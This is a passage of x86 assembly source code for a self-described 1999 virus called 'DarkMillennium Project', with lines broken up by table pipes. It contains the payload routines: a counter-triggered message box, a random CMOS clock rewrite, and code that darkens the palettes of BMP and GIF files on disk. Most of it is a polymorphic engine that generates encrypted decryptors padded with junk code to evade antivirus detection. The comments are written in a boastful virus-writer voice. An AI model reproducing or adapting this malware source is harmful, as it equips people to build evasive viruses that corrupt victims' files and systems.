||
|
pushad
|
||
|
mov ax, word ptr [edi + infected_files - Start] ; check the number of infected files
|
||
|
inc ax ; increase the counter with 1
|
||
|
mov word ptr [edi + infected_files - Start], ax
|
||
|
cmp ax, infected_nr_trigger
|
||
|
jne not_yet
|
||
|
|
||
|
mov ax, 0 ; reset the counter
|
||
|
mov word ptr [edi + infected_files - Start], ax
|
||
|
; the counter will also be reseted at in every new infected file
|
||
|
|
||
|
; (on every infected_nr_trigger will trigger a message box)
|
||
|
lea eax, [edi + WinTitle - Start]
|
||
|
mov [edi + TitleOff - Start], eax
|
||
|
lea eax, [edi + WinText - Start]
|
||
|
mov [edi + TextOff - Start], eax
|
||
|
lea ebx, [edi + WinBox - Start]
|
||
|
|
||
|
patch5_val equ 001Ah + 256 * 256 * 002Ah
|
||
|
patch5 label far
|
||
|
VxDCall 002Ah, 001Ah
|
||
|
|
||
|
; give a try with random_in_range
|
||
|
; (number between 0 and 10000)
|
||
|
not_yet: mov eax, 10000
|
||
|
call random_in_range
|
||
|
cmp eax, 500
|
||
|
jg end_payload
|
||
|
|
||
|
; as you see if the random number =< 500 then test the PC for year 2000 compatibilite :)
|
||
|
; infact it will jump into year 2000
|
||
|
; the chances to do it are 5%
|
||
|
mov al, 07h
|
||
|
out 70h, al
|
||
|
mov al, 01h
|
||
|
out 71h, al ; day of the month
|
||
|
mov al, 08h
|
||
|
out 70h, al
|
||
|
mov al, 01h
|
||
|
out 71h, al ; month to January
|
||
|
mov al, 09h
|
||
|
out 70h, al
|
||
|
mov al, 00h
|
||
|
out 71h, al ; year (0 = 2000)
|
||
|
; by the way ... this is a good test, you will see if your computer is compatible with year 2000 ;)
|
||
|
; so i recommend you get infected with DarkMillennium
|
||
|
|
||
|
end_payload:popad
|
||
|
ret
|
||
|
|
||
|
WinBox dd ?
|
||
|
butt1 dw 0
|
||
|
butt2 dw 0001
|
||
|
butt3 dw 0
|
||
|
TitleOff dd offset WinTitle
|
||
|
TextOff dd offset WinText
|
||
|
|
||
|
WinTitle db 'DarkMillennium Project',0
|
||
|
WinText db 'DarkMillennium Project', 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 10
|
||
|
db 'www.ultimatechaos.org', 10
|
||
|
db 'Greets to all VXers out there !', 0
|
||
|
|
||
|
Payload endp
|
||
|
|
||
|
copyright db 'DarkMillennium Project', 13, 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 0
|
||
|
copyright_end:
|
||
|
|
||
|
bmp_Payload proc
|
||
|
pushad
|
||
|
|
||
|
; Open the file
|
||
|
lea esi, [edi + filename - Start]
|
||
|
call file_open
|
||
|
mov dword ptr [edi + handle - Start], eax
|
||
|
|
||
|
; Read file
|
||
|
lea esi, [edi + gfx_buffer - Start]
|
||
|
mov ebx, [edi + handle - Start]
|
||
|
mov ecx, 256
|
||
|
mov edx, 54
|
||
|
call file_read
|
||
|
|
||
|
; Change the things arround
|
||
|
lea esi, [edi + gfx_buffer - Start]
|
||
|
mov ecx, 256
|
||
|
|
||
|
bmp_dark: cmp byte ptr [esi], 5
|
||
|
jl bmp_color_1
|
||
|
sub byte ptr [esi], 5
|
||
|
bmp_color_1:inc esi
|
||
|
cmp byte ptr [esi], 5
|
||
|
jl bmp_color_2
|
||
|
sub byte ptr [esi], 5
|
||
|
bmp_color_2:inc esi
|
||
|
cmp byte ptr [esi], 5
|
||
|
jl bmp_color_out
|
||
|
sub byte ptr [esi], 5
|
||
|
bmp_color_out:
|
||
|
add esi, 2
|
||
|
sub ecx, 4
|
||
|
cmp ecx, 0
|
||
|
jne bmp_dark
|
||
|
|
||
|
; Write file
|
||
|
lea esi, [edi + gfx_buffer - Start]
|
||
|
mov ecx, 256
|
||
|
mov ebx, [edi + handle - Start]
|
||
|
mov edx, 54
|
||
|
call file_write
|
||
|
|
||
|
; Close file
|
||
|
mov ebx, [edi + handle - Start]
|
||
|
call file_close
|
||
|
|
||
|
popad
|
||
|
ret
|
||
|
bmp_Payload endp
|
||
|
|
||
|
gif_Payload proc
|
||
|
|
||
|
; Thanks goes to MidNyte for helping me with informations and code
|
||
|
|
||
|
pushad
|
||
|
|
||
|
; Open the file
|
||
|
lea esi, [edi + filename - Start]
|
||
|
call file_open
|
||
|
mov dword ptr [edi + handle - Start], eax
|
||
|
|
||
|
; Read file
|
||
|
lea esi, [edi + gfx_buffer - Start]
|
||
|
mov ebx, eax
|
||
|
mov ecx, 10Dh
|
||
|
mov edx, 0000h
|
||
|
call file_read
|
||
|
|
||
|
xor ecx, ecx
|
||
|
mov cl, byte ptr [edi + gfx_buffer + 000Ah - Start]
|
||
|
and cl, 00000111b
|
||
|
cmp cl, 0
|
||
|
je exit_gif_payload ; somethin' is wrong
|
||
|
|
||
|
mov ax, 2
|
||
|
get_colours:shl ax, 1
|
||
|
loop get_colours
|
||
|
|
||
|
mov cx, ax
|
||
|
shl ax, 1
|
||
|
add cx, ax
|
||
|
lea esi, [edi + gfx_buffer - Start]
|
||
|
add esi, 000Dh
|
||
|
|
||
|
push edi
|
||
|
mov edi, esi
|
||
|
darken: lodsb
|
||
|
cmp al, 14h
|
||
|
jb skip_entry
|
||
|
sub al, 14h
|
||
|
stosb
|
||
|
skip_entry: loop darken
|
||
|
pop edi
|
||
|
|
||
|
; Write buffer back to file
|
||
|
lea esi, [edi + gfx_buffer - Start]
|
||
|
mov ebx, [edi + handle - Start]
|
||
|
mov ecx, 10Dh
|
||
|
mov edx, 0 ; loc. to write in file
|
||
|
call file_write
|
||
|
|
||
|
exit_gif_payload:
|
||
|
; Close file
|
||
|
mov ebx, [edi + handle - Start]
|
||
|
call file_close
|
||
|
|
||
|
popad
|
||
|
ret
|
||
|
gif_Payload endp
|
||
|
|
||
|
|
||
|
; ------------------------------------------------------------
|
||
|
;| Poly Engine |
|
||
|
; ------------------------------------------------------------
|
||
|
|
||
|
; Generate decryptor
|
||
|
; EBP = location for decryptor
|
||
|
GenDecryptor proc
|
||
|
|
||
|
xchg ebp, edi
|
||
|
call InitRegGenerator
|
||
|
call GenerateRegisters
|
||
|
|
||
|
; call 00000000h
|
||
|
mov al, 0E8h
|
||
|
stosb
|
||
|
mov eax, 00000000h
|
||
|
stosd
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; mov reg1, ESP
|
||
|
mov cl, byte ptr [ebp + reg_1 - Start]
|
||
|
mov ch, 04h ; ESP
|
||
|
mov ax, 0001h
|
||
|
xchg ebp, edi
|
||
|
call GenPutX1X2
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; mov reg_2, ss:[reg_1]
|
||
|
mov cl, byte ptr [ebp + reg_2 - Start]
|
||
|
mov ch, byte ptr [ebp + reg_1 - Start]
|
||
|
mov ax, 0101h
|
||
|
xchg ebp, edi
|
||
|
call GenPutX1X2
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; sub reg_2, offset Delta
|
||
|
mov al, 81h
|
||
|
stosb
|
||
|
mov al, byte ptr [ebp + reg_2 - Start]
|
||
|
add al, 0E8h
|
||
|
stosb
|
||
|
mov eax, offset Delta
|
||
|
stosd
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; xchg reg_2, ebp
|
||
|
mov al, 87h
|
||
|
stosb
|
||
|
mov al, byte ptr [ebp + reg_2 - Start]
|
||
|
add al, 0E8h
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
call GenerateRegisters
|
||
|
|
||
|
; pushad
|
||
|
mov al, 60h
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; lea reg_1, [ebp + key - Start] -> key offset will be setted later
|
||
|
mov al, 8Dh
|
||
|
stosb
|
||
|
mov al, byte ptr [ebp + reg_1 - Start]
|
||
|
mov ebx, 8
|
||
|
mul ebx
|
||
|
add al, 85h
|
||
|
stosb
|
||
|
|
||
|
mov [ebp + var2 - Start], edi ; save EDI offset, for later use
|
||
|
mov eax, 00000000h
|
||
|
stosd
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; add reg_1, offset Start
|
||
|
mov al, 81h
|
||
|
stosb
|
||
|
mov al, byte ptr [ebp + reg_1 - Start]
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
mov eax, offset Start
|
||
|
stosd
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; xor reg_2, reg_2
|
||
|
mov al, 33h
|
||
|
stosb
|
||
|
mov al, byte ptr [ebp + reg_2 - Start]
|
||
|
mov ecx, eax
|
||
|
mov ebx, 8
|
||
|
mul ebx
|
||
|
add al, cl
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; inc reg_2
|
||
|
mov [ebp + var1 - Start], edi ; save in var1 current pos for future use
|
||
|
mov al, 40h
|
||
|
add al, byte ptr [ebp + reg_2 - Start]
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; mov reg_3, [reg_1]
|
||
|
mov al, byte ptr [ebp + reg_3 - Start]
|
||
|
mov cl, al
|
||
|
mov ch, byte ptr [ebp + reg_1 - Start]
|
||
|
mov ax, 0100h
|
||
|
xchg ebp, edi
|
||
|
call GenPutX1X2
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; xor reg_3, reg_2
|
||
|
mov ax, 3366h
|
||
|
stosw
|
||
|
mov al, byte ptr [ebp + reg_3 - Start]
|
||
|
mov ebx, 8
|
||
|
mul ebx
|
||
|
add al, byte ptr [ebp + reg_2 - Start]
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; cmp reg3, 9090h
|
||
|
mov ax, 8166h
|
||
|
stosw
|
||
|
mov al, byte ptr [ebp + reg_3 - Start]
|
||
|
add al, 0F8h
|
||
|
stosb
|
||
|
mov ax, 9090h
|
||
|
stosw
|
||
|
|
||
|
; jne -inc reg_2 line-
|
||
|
mov al, 75h
|
||
|
stosb
|
||
|
mov eax, [ebp + var1 - Start]
|
||
|
sub eax, edi
|
||
|
dec eax ; now JNE points to INC DI line
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; Save the number of register that contain the key for decryption
|
||
|
mov al, [ebp + reg_2 - Start]
|
||
|
mov [ebp + reg_key - Start], al
|
||
|
|
||
|
call GenerateRegisters
|
||
|
call GenerateFuckRegs
|
||
|
|
||
|
; lea reg_1, [ebp + key - Start] -> key offset will be setted later
|
||
|
mov al, 8Dh
|
||
|
stosb
|
||
|
mov al, byte ptr [ebp + reg_1 - Start]
|
||
|
mov ebx, 8
|
||
|
mul ebx
|
||
|
add al, 85h
|
||
|
stosb
|
||
|
|
||
|
mov [ebp + var3 - Start], edi ; save EDI offset, for later use
|
||
|
mov eax, 00000000h
|
||
|
stosd
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; add reg_1, offset Start
|
||
|
mov al, 81h
|
||
|
stosb
|
||
|
mov al, byte ptr [ebp + reg_1 - Start]
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
mov eax, offset Start
|
||
|
stosd
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; mov reg_2, virussize
|
||
|
mov cl, byte ptr [ebp + reg_2 - Start]
|
||
|
mov ch, 0FFh
|
||
|
mov edx, virussize
|
||
|
mov ax, 0101h
|
||
|
xchg ebp, edi
|
||
|
call GenPutX1X2
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; xor [reg_1], reg_key
|
||
|
mov [ebp + var4 - Start], edi
|
||
|
mov ax, 3166h
|
||
|
stosw
|
||
|
xor eax, eax
|
||
|
mov al, byte ptr [ebp + reg_key - Start]
|
||
|
mov ebx, 8
|
||
|
mul ebx
|
||
|
add al, byte ptr [ebp + reg_1 - Start]
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; inc reg_1
|
||
|
mov al, 40h
|
||
|
add al, byte ptr [ebp + reg_1 - Start]
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; inc reg_1
|
||
|
mov al, 40h
|
||
|
add al, byte ptr [ebp + reg_1 - Start]
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; dec reg_2
|
||
|
mov al, 48h
|
||
|
add al, byte ptr [ebp + reg_2 - Start]
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; dec reg_2
|
||
|
mov al, 48h
|
||
|
add al, byte ptr [ebp + reg_2 - Start]
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; cmp reg_2, 1
|
||
|
mov al, 83h
|
||
|
stosb
|
||
|
mov al, 0F8h
|
||
|
add al, byte ptr [ebp + reg_2 - Start]
|
||
|
stosb
|
||
|
mov al, 01
|
||
|
stosb
|
||
|
|
||
|
; jg -- xor [reg_1], reg_key -- line
|
||
|
mov al, 07Fh
|
||
|
stosb
|
||
|
mov ax, [ebp + var4 - Start]
|
||
|
sub eax, edi
|
||
|
dec eax
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; popad
|
||
|
mov al, 61h
|
||
|
stosb
|
||
|
|
||
|
; Generate Junk
|
||
|
xchg ebp, edi
|
||
|
call GenerateJunk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; key word for decryption
|
||
|
mov esi, [ebp + var2 - Start]
|
||
|
lea eax, key
|
||
|
mov byte ptr [esi], al
|
||
|
mov esi, [ebp + var3 - Start]
|
||
|
lea eax, key
|
||
|
mov byte ptr [esi], al
|
||
|
mov ax, 9090h
|
||
|
stosw
|
||
|
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
nop
|
||
|
|
||
|
; Generate random junk to fill the space after decryptor
|
||
|
lea esi, [ebp + Encr_Code - Start]
|
||
|
xchg ebp, edi
|
||
|
fill_junk: push esi
|
||
|
call GenerateOneByteJunk
|
||
|
pop esi
|
||
|
cmp ebp, esi
|
||
|
jl fill_junk
|
||
|
xchg ebp, edi
|
||
|
|
||
|
xchg ebp, edi
|
||
|
ret
|
||
|
|
||
|
var1 dd 0 ; keep location of INC DI line
|
||
|
var2 dd 0 ; keep location of LEA ESI, key instruction + 1
|
||
|
var3 dd 0 ; keep location of the second LEA ESI, key instruction + 1
|
||
|
var4 dd 0 ; keep location of XOR [ESI], DI instruction
|
||
|
|
||
|
GenDecryptor endp
|
||
|
|
||
|
|
||
|
; Init register generator
|
||
|
;
|
||
|
InitRegGenerator proc
|
||
|
mov byte ptr [ebp + reg_1 - Start], 0F0h
|
||
|
mov byte ptr [ebp + reg_2 - Start], 0F0h
|
||
|
mov byte ptr [ebp + reg_3 - Start], 0F0h
|
||
|
mov byte ptr [ebp + reg_key - Start], 0F0h
|
||
|
mov byte ptr [ebp + reg_fuck_1 - Start], 0F0h
|
||
|
mov byte ptr [ebp + reg_fuck_2 - Start], 0F0h
|
||
|
ret
|
||
|
InitRegGenerator endp
|
||
|
|
||
|
; Generate registers for use in decryptor
|
||
|
;
|
||
|
GenerateRegisters proc
|
||
|
pushad
|
||
|
|
||
|
; Generate reg, not ESP, not EBP
|
||
|
get_reg_1: mov eax, 8
|
||
|
call random_in_range
|
||
|
cmp al, 4 ; no ESP
|
||
|
jz get_reg_1
|
||
|
cmp al, 5 ; no EBP
|
||
|
jz get_reg_1
|
||
|
cmp al, byte ptr [ebp + reg_key - Start]
|
||
|
jz get_reg_1
|
||
|
mov byte ptr [ebp + reg_1 - Start], al ; save reg value for later use
|
||
|
|
||
|
; Generate reg2, not ESP, not EBP, <> reg1
|
||
|
get_reg_2: mov eax, 8
|
||
|
call random_in_range
|
||
|
cmp al, 4 ; no ESP
|
||
|
jz get_reg_2
|
||
|
cmp al, 5 ; no EBP
|
||
|
jz get_reg_2
|
||
|
cmp al, byte ptr [ebp + reg_1 - Start]
|
||
|
jz get_reg_2
|
||
|
cmp al, byte ptr [ebp + reg_key - Start]
|
||
|
jz get_reg_1
|
||
|
mov byte ptr [ebp + reg_2 - Start], al
|
||
|
|
||
|
; Generate reg3, not ESP, not EBP, <> reg1, <> reg2
|
||
|
get_reg_3: mov eax, 8
|
||
|
call random_in_range
|
||
|
cmp al, 4 ; no ESP
|
||
|
jz get_reg_3
|
||
|
cmp al, 5 ; no EBP
|
||
|
jz get_reg_3
|
||
|
cmp al, byte ptr [ebp + reg_1 - Start]
|
||
|
jz get_reg_3
|
||
|
cmp al, byte ptr [ebp + reg_2 - Start]
|
||
|
jz get_reg_3
|
||
|
cmp al, byte ptr [ebp + reg_key - Start]
|
||
|
jz get_reg_1
|
||
|
mov byte ptr [ebp + reg_3 - Start], al
|
||
|
|
||
|
popad
|
||
|
ret
|
||
|
GenerateRegisters endp
|
||
|
|
||
|
|
||
|
; Generate 2 registers, different from the other registers used
|
||
|
;
|
||
|
GenerateFuckRegs proc
|
||
|
pushad
|
||
|
get_reg_fuck_1:
|
||
|
mov eax, 8
|
||
|
call random_in_range
|
||
|
cmp al, 4 ; no ESP
|
||
|
jz get_reg_fuck_1
|
||
|
cmp al, 5 ; no EBP
|
||
|
jz get_reg_fuck_1
|
||
|
cmp al, byte ptr [ebp + reg_1 - Start]
|
||
|
jz get_reg_fuck_1
|
||
|
cmp al, byte ptr [ebp + reg_2 - Start]
|
||
|
jz get_reg_fuck_1
|
||
|
cmp al, byte ptr [ebp + reg_3 - Start]
|
||
|
jz get_reg_fuck_1
|
||
|
cmp al, byte ptr [ebp + reg_key - Start]
|
||
|
jz get_reg_fuck_1
|
||
|
mov byte ptr [ebp + reg_fuck_1 - Start], al
|
||
|
|
||
|
get_reg_fuck_2:
|
||
|
mov eax, 15
|
||
|
call random_in_range
|
||
|
cmp al, 7
|
||
|
jg ch_FFh
|
||
|
cmp al, 4 ; no ESP
|
||
|
jz get_reg_fuck_2
|
||
|
cmp al, 5 ; no EBP
|
||
|
jz get_reg_fuck_2
|
||
|
cmp al, byte ptr [ebp + reg_1 - Start]
|
||
|
jz get_reg_fuck_2
|
||
|
cmp al, byte ptr [ebp + reg_2 - Start]
|
||
|
jz get_reg_fuck_2
|
||
|
cmp al, byte ptr [ebp + reg_3 - Start]
|
||
|
jz get_reg_fuck_2
|
||
|
cmp al, byte ptr [ebp + reg_fuck_1 - Start]
|
||
|
jz get_reg_fuck_2
|
||
|
cmp al, byte ptr [ebp + reg_key - Start]
|
||
|
jz get_reg_fuck_2
|
||
|
mov byte ptr [ebp + reg_fuck_2 - Start], al
|
||
|
GenerateFuckRegs_Exit:
|
||
|
popad
|
||
|
ret
|
||
|
|
||
|
ch_FFh: mov al, 0FFh
|
||
|
mov byte ptr [ebp + reg_fuck_2 - Start], al
|
||
|
jmp GenerateFuckRegs_Exit
|
||
|
|
||
|
GenerateFuckRegs endp
|
||
|
|
||
|
|
||
|
; Generate MOV reg1, reg2/[reg2]/val like instructions
|
||
|
; EBP = location for code
|
||
|
; CL = reg1
|
||
|
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
|
||
|
; ( in this case AH value will be ignored, no direct mem read like
|
||
|
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
|
||
|
; AL = type of registry to use 0 = word ( AX, BX ... )
|
||
|
; 1 = dword ( EAX, EBX ... )
|
||
|
; byte registers are not used in my decryptor
|
||
|
; AH = 0 use direct value ( EAX ... )
|
||
|
; 1 use memory address from register ( [EAX], [ESI] ... )
|
||
|
; EDX = use this value instead of reg2 in case CH = 0FFh
|
||
|
;
|
||
|
GenPutX1X2 proc
|
||
|
push eax ecx edx
|
||
|
|
||
|
lea eax, [edi + offset GenMovType - Start]
|
||
|
mov [edi + MovType - Start], eax
|
||
|
lea eax, [edi + offset GenPushPopType - Start]
|
||
|
mov [edi + PushPopType - Start], eax
|
||
|
lea eax, [edi + offset GenXorAddType - Start]
|
||
|
mov [edi + XorAddType - Start], eax
|
||
|
lea eax, [edi + offset GenSubAddType - Start]
|
||
|
mov [edi + SubAddType - Start], eax
|
||
|
|
||
|
mov eax, (offset EndPutX1X2Table - offset PutX1X2Table) / 4
|
||
|
call random_in_range
|
||
|
mov esi, 4
|
||
|
mul esi
|
||
|
xchg esi, eax
|
||
|
add esi, edi
|
||
|
add esi, offset PutX1X2Table - offset Start
|
||
|
mov ebx, dword ptr [esi]
|
||
|
|
||
|
pop edx ecx eax
|
||
|
call ebx
|
||
|
ret
|
||
|
|
||
|
GenPutX1X2 endp
|
||
|
|
||
|
|
||
|
; Decryptor Junk instructions
|
||
|
; EBP = location for junk
|
||
|
GenerateJunk proc
|
||
|
lea eax, [edi + offset GenerateOneByteJunk - Start]
|
||
|
mov [edi + OneByteJunk - Start], eax
|
||
|
lea eax, [edi + offset GenerateINTs - Start]
|
||
|
mov [edi + INTs - Start], eax
|
||
|
lea eax, [edi + offset GenNothing - Start]
|
||
|
mov [edi + _Nothing - Start], eax
|
||
|
lea eax, [edi + offset GenRndPutX1X2 - Start]
|
||
|
mov [edi + RndPutX1X2 - Start], eax
|
||
|
|
||
|
mov eax, (offset EndRandomJunkTable - offset RandomJunkTable) / 4
|
||
|
call random_in_range
|
||
|
mov esi, 4
|
||
|
mul esi
|
||
|
xchg esi, eax
|
||
|
add esi, edi
|
||
|
add esi, offset RandomJunkTable - offset Start
|
||
|
mov eax, dword ptr [esi]
|
||
|
call eax
|
||
|
ret
|
||
|
GenerateJunk endp
|
||
|
|
||
|
|
||
|
; Generate one byte instruction, put it in [EBP] and increase EBP with 1
|
||
|
; EBP = location for generated code
|
||
|
GenerateOneByteJunk proc
|
||
|
lea esi, [edi + OneByteTable - Start] ; Offset of the table
|
||
|
mov eax, offset EndOneByteTable - offset OneByteTable ; size of table
|
||
|
call random_in_range ; Must generate random numbers
|
||
|
add esi, eax ; Add AX ( AL ) to the offset
|
||
|
mov al, byte ptr [esi] ; Put selected opcode in al
|
||
|
xchg ebp, edi
|
||
|
stosb ; And store it in EDI ( points to
|
||
|
; the decryptor instructions )
|
||
|
xchg ebp, edi
|
||
|
ret
|
||
|
GenerateOneByteJunk endp
|
||
|
|
||
|
|
||
|
; Generate INT calls and increase edi with 2
|
||
|
; EBP = location for generated code
|
||
|
GenerateINTs proc
|
||
|
lea esi, [edi + INTsTable - Start]
|
||
|
mov eax, offset EndINTsTable - offset INTsTable
|
||
|
call random_in_range
|
||
|
add esi, eax
|
||
|
mov ah, byte ptr [esi]
|
||
|
mov al, 0CDh
|
||
|
xchg ebp, edi
|
||
|
stosw
|
||
|
xchg ebp, edi
|
||
|
ret
|
||
|
GenerateINTs endp
|
||
|
|
||
|
|
||
|
; Generate NOTHING
|
||
|
; EBP = location for generated code
|
||
|
GenNothing proc
|
||
|
ret
|
||
|
GenNothing endp
|
||
|
|
||
|
|
||
|
; The same with GenPutX1X2 but with random registers and/or values
|
||
|
; NOTE : the registers are not the ones that are already in use
|
||
|
GenRndPutX1X2 proc
|
||
|
xchg ebp, edi
|
||
|
|
||
|
; random in EDX
|
||
|
mov eax, 0FFFFh
|
||
|
call random_in_range
|
||
|
mov dx, ax
|
||
|
shl edx, 10h
|
||
|
mov eax, 0FFFFh
|
||
|
call random_in_range
|
||
|
mov dx, ax
|
||
|
|
||
|
; random types
|
||
|
mov eax, 2
|
||
|
call random_in_range
|
||
|
mov bl, al
|
||
|
mov bh, 00h ; registers like [EAX], [EBX] ... will not be generated, only EAX, EBX ...
|
||
|
; 'cause it will give Access Violation in most of the cases
|
||
|
mov ax, bx
|
||
|
|
||
|
call GenerateFuckRegs
|
||
|
mov cl, byte ptr [ebp + reg_fuck_1 - Start]
|
||
|
mov ch, byte ptr [ebp + reg_fuck_2 - Start]
|
||
|
|
||
|
xchg ebp, edi
|
||
|
call GenPutX1X2
|
||
|
ret
|
||
|
GenRndPutX1X2 endp
|
||
|
|
||
|
; Generate MOV instructions
|
||
|
; Generate MOV reg1, reg2/[reg2]/val like instructions
|
||
|
; EBP = location for code
|
||
|
; CL = reg1
|
||
|
; CH = reg2 ( if CH = 0FFh then use value from EDX instead of reg2 )
|
||
|
; ( in this case AH value will be ignored, no direct mem read like
|
||
|
; MOV EAX, [402000h] 'cause I don't use this kind of instructions in my decryptor )
|
||
|
; AL = type of registry to use 0 = word ( AX, BX ... )
|
||
|
; 1 = dword ( EAX, EBX ... )
|
||
|
; byte registers are not used in my decryptor
|
||
|
; AH = 0 use direct value ( EAX ... )
|
||
|
; 1 use memory address from register ( [EAX], [ESI] ... )
|
||
|
; EDX = use this value instead of reg2 in case CH = 0FFh
|
||
|
;
|
||
|
GenMovType proc
|
||
|
xchg ebp, edi
|
||
|
|
||
|
cmp ch, 0FFh
|
||
|
jne not_val
|
||
|
jmp use_val
|
||
|
|
||
|
not_val: cmp ch, 04h
|
||
|
jnz not_esp
|
||
|
jmp mov_esp
|
||
|
not_esp: cmp ch, 05h
|
||
|
jnz not_ebp
|
||
|
jmp mov_ebp
|
||
|
|
||
|
not_ebp: cmp al, 0
|
||
|
jz word_type
|
||
|
cmp al, 1
|
||
|
jz dword_type
|
||
|
jmp MovType_End
|
||
|
|
||
|
word_type: ; reg1 = word reg
|
||
|
cmp ah, 1
|
||
|
jz word_type1
|
||
|
|
||
|
; MOV reg1, reg2
|
||
|
mov ax, 8B66h
|
||
|
stosw
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, ch
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
jmp MovType_End
|
||
|
|
||
|
word_type1: ; MOV reg1, [reg2]
|
||
|
mov ax, 8B66h
|
||
|
stosw
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp MovType_End
|
||
|
|
||
|
dword_type: ; reg1 = dword reg
|
||
|
cmp ah, 1
|
||
|
jz dword_type1
|
||
|
|
||
|
; MOV reg1, reg2
|
||
|
mov al, 08Bh
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, ch
|
||
|
add al, 0C0h
|
||
|
stosb
|
||
|
jmp MovType_End
|
||
|
|
||
|
dword_type1: ; MOV reg1, [reg2]
|
||
|
mov al, 8Bh
|
||
|
stosb
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, ch
|
||
|
stosb
|
||
|
jmp MovType_End
|
||
|
|
||
|
mov_esp: ; MOV reg1, ESP/[ESP]
|
||
|
mov al, 8Bh
|
||
|
stosb
|
||
|
|
||
|
cmp ah, 0
|
||
|
jz mov_esp2
|
||
|
|
||
|
; MOV reg1, [ESP]
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 04h
|
||
|
stosb
|
||
|
mov al, 24h
|
||
|
stosb
|
||
|
jmp MovType_End
|
||
|
|
||
|
; MOV reg1, ESP
|
||
|
mov_esp2: mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 0C4h
|
||
|
stosb
|
||
|
jmp MovType_End
|
||
|
|
||
|
mov_ebp: ; MOV reg1, EBP/[EBP]
|
||
|
mov al, 8Bh
|
||
|
stosb
|
||
|
cmp ah, 0
|
||
|
jz mov_ebp2
|
||
|
|
||
|
; MOV reg1, [EBP]
|
||
|
mov al, cl
|
||
|
mov bl, 8
|
||
|
mul bl
|
||
|
add al, 45h
|
||
|
stosb
|
||
|
mov al, 00h
|
||
|
stosb
|
||
|
|
||
|
; MOV reg1, EBP
|
||
|
mov_ebp2: mov al, cl
|
